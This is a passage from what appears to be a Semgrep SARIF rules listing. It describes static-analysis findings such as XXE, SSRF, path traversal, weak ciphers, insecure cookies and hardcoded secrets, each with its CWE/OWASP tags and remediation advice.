[https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express)\n - [https://github.com/jprichardson/node-fs-extra/tree/master](https://github.com/jprichardson/node-fs-extra/tree/master)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express","id":"javascript.express.file.fs-extra-express.fs-extra-express","name":"javascript.express.file.fs-extra-express.fs-extra-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-extra-express.fs-extra-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher","id":"kotlin.lang.security.ecb-cipher.ecb-cipher","name":"kotlin.lang.security.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"help":{"markdown":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode)\n","text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"help":{"markdown":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","id":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","name":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.spawn-shell-true.spawn-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"help":{"markdown":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","id":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","name":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"help":{"markdown":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"helpUri":"https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format","id":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","name":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.flask-api-method-string-format.flask-api-method-string-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","id":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","name":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host","id":"python.flask.security.injection.tainted-url-host.tainted-url-host","name":"python.flask.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec","id":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","name":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-code-exec.tainted-code-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.playframework.com/documentation/2.8.x/ScalaWS](https://www.playframework.com/documentation/2.8.x/ScalaWS)\n","text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf","id":"scala.play.security.webservice-ssrf.webservice-ssrf","name":"scala.play.security.webservice-ssrf.webservice-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.webservice-ssrf.webservice-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"MailChimp API Key detected"},"help":{"markdown":"MailChimp API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"MailChimp API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","id":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","name":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","id":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","name":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"help":{"markdown":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find)\n - [https://brakemanscanner.org/docs/warning_types/unscoped_find/](https://brakemanscanner.org/docs/warning_types/unscoped_find/)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb)\n","text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","id":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","name":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","properties":{"precision":"very-high","tags":["CWE-639: Authorization Bypass Through User-Controlled Key","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request)\n - [https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html](https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html)\n","text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","id":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","name":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"help":{"markdown":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie](https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options](https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options)\n","text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie","id":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","name":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.secure-set-cookie.secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password","id":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","name":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 